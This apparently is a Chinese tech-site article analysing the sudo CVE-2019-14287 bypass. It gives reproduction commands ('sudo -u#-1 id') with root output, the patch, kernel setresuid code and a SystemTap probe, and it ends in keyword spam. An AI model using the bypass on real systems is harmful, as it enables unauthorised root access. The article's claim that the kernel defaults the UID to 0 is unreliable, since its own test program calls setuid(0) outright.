千家信息网

CVE-2019-14287Linux sudo的漏洞分析该怎么理解

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,CVE-2019-14287Linux sudo的漏洞分析该怎么理解,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。sudo 被爆光一
千家信息网最后更新 2026年10月31日CVE-2019-14287Linux sudo的漏洞分析该怎么理解

CVE-2019-14287Linux sudo的漏洞分析该怎么理解,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

sudo 被爆光一个漏洞,非授权的特权用户可以绕过限制获得特权。官方的修复公告请见:https://www.sudo.ws/alerts/minus_1_uid.html。

1. 漏洞复现

实验环境:

操作系统CentOS Linux release 7.5.1804
内核3.10.0-862.14.4.el7.x86_64
sudo 版本1.8.19p2

首先添加一个系统帐号 test_sudo 作为实验所用:

[root@localhost ~] # useradd test_sudo

然后用 root 身份在 /etc/sudoers 中增加:

test_sudo ALL=(ALL,!root) /usr/bin/id

表示允许 test_sudo 帐号以非 root 外的身份执行 /usr/bin/id,如果试图以 root 帐号运行 id 命令则会被拒绝:

[test_sudo@localhost ~] $ sudo id对不起,用户 test_sudo 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。

sudo -u 也可以通过指定 UID 的方式来代替用户,当指定的 UID 为 -1 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以 root 身份执行命令:

[test_sudo@localhost ~]$ sudo -u#-1 iduid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023[test_sudo@localhost ~]$ sudo -u#4294967295 iduid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2. 漏洞原理分析

在官方代码仓库找到提交的修复代码:https://www.sudo.ws/repos/sudo/rev/83db8dba09e7。

从提交的代码来看,只修改了 lib/util/strtoid.c。strtoid.c 中定义的 sudo_strtoid_v1 函数负责解析参数中指定的 UID 字符串,补丁关键代码:

/* Disallow id -1, which means "no change". */if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {  if (errstr != NULL)    *errstr = N_("invalid value");  errno = EINVAL;  goto done; }

llval 变量为解析后的值,不允许 llval 为 -1 和 UINT_MAX(4294967295)。

也就是补丁只限制了取值而已,从漏洞行为来看,如果为 -1,最后得到的 UID 却是 0,为什么不能为 -1?当 UID 为 -1 的时候,发生了什么呢?继续深入分析一下。

我们先用 strace 跟踪下系统调用看看:

[root@localhost ~]# strace -u test_sudo sudo -u#-1 id

因为 strace -u 参数需要 root 身份才能使用,因此上面命令需要先切换到 root 帐号下,然后用 test_sudo 身份执行了 sudo -u#-1 id 命令。从输出的系统调用中,注意到:

setresuid(-1, -1, -1)                   = 0

sudo 内部调用了 setresuid 来提升权限(虽然还调用了其他设置组之类的函数,但先不做分析),并且传入的参数都是 -1。

因此,我们做一个简单的实验来调用 setresuid(-1, -1, -1) ,看看为什么执行后会是 root 身份,代码如下:

#include #include #include int main() {  setresuid(-1, -1, -1);  setuid(0);  printf("EUID: %d, UID: %d\n", geteuid(), getuid());  return 0;}

注意,需要将编译后的二进制文件所属用户改为 root,并加上 s 位,当设置了 s 位后,其他帐号执行时就会以文件所属帐号的身份运行。

为了方便,我直接在 root 帐号下编译,并加 s 位:

[root@localhost tmp] # gcc test.c[root@localhost tmp] # chmod +s a.out

然后以 test_sudo 帐号执行 a.out:

[test_sudo@localhost tmp] $ ./a.outEUID: 0, UID: 0

可见,运行后,当前身份变成了 root。

其实 setresuid 函数只是系统调用 setresuid32 的简单封装,可以在 GLibc 的源码中看到它的实现:

// 文件:sysdeps/unix/sysv/linux/i386/setresuid.cint__setresuid (uid_t ruid, uid_t euid, uid_t suid){  int result;  result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);  return result;}

setresuid32 最后调用的是内核函数 sys_setresuid,它的实现如下:

// 文件:kernel/sys.cSYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid){  ...  struct cred *new;  ...  kruid = make_kuid(ns, ruid);  keuid = make_kuid(ns, euid);  ksuid = make_kuid(ns, suid);  new = prepare_creds();  old = current_cred();  ...  if (ruid != (uid_t) -1) {    new->uid = kruid;    if (!uid_eq(kruid, old->uid)) {      retval = set_user(new);      if (retval < 0)        goto error;    }  }  if (euid != (uid_t) -1)    new->euid = keuid;  if (suid != (uid_t) -1)    new->suid = ksuid;  new->fsuid = new->euid;  ...  return commit_creds(new); error:  abort_creds(new);  return retval;}

简单来说,内核在处理时,会调用 prepare_creds 函数创建一个新的凭证结构体,而传递给函数的 ruid、euid和suid 三个参数只有在不为 -1 的时候,才会将 ruid、euid 和 suid 赋值给新的凭证(见上面三个 if 逻辑),否则默认的 UID 就是 0。最后调用 commit_creds 使凭证生效。这就是为什么传递 -1 时,会拥有 root 权限的原因。

我们也可以写一段 SystemTap 脚本来观察下从应用层调用 setresuid 并传递 -1 到内核中的状态:

# 捕获 setresuid 的系统调用probe syscall.setresuid {  printf("exec %s, args: %s\n", execname(), argstr)}# 捕获内核函数 sys_setresuid 接受到的参数probe kernel.function("sys_setresuid").call {  printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));}# 捕获内核函数 prepare_creds 的返回值probe kernel.function("prepare_creds").return {  # 具体数据结构请见 linux/cred.h 中 struct cred 结构体  printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)}

然后执行:

[root@localhost tmp] # stap test.stp

接着运行前面我们编译的 a.out,看看 stap 捕获到的:

exec a.out, args: -1, -1, -1 # 这里是传递给 setresuid 的 3 个参数(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 这里显示最终调用 sys_setresuid 的三个参数(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 调用了 prepare_cred,可看到默认 EUID 是为 0的

关于CVE-2019-14287Linux sudo的漏洞分析该怎么理解问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。

身份 函数 帐号 漏洞 参数 分析 内核 系统 代码 命令 文件 用户 运行 三个 凭证 环境 结构 问题 实验 限制 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技公司排名 哈尔滨大商圈互联网科技有限公司 互联网科技战争 北京互联网科技有限公司 高科技与互联网 长亮科技互联网金融 左右互联网络科技 互联网科技公司的市场部门 剑昆互联网络科技有限公司临桂 昭通云南众福互联网科技有限公司 互联网还是高科技吗 互联网科技大奖都有哪些公司 互联网科技扶贫时间 国大互联网教育科技有限公司工作 翼展科技 首家互联网医院 工业互联网等科技实现智能化赋能 深圳互联网科技的发展 互联网科技手机排行榜 互联网科技的前景 青岛互联网科技园 互联网科技公司排名 互联网科技的未来发展 重庆威客帮互联网科技 互联网科技公司有风险吗 搜狐科技互联网 互联网科技大奖都有哪些公司 锡山区互联网智能科技产品供应 城市宝互联网科技有限公司 北京品多多互联网科技有限公司 现代科技的标志之一的互联网
0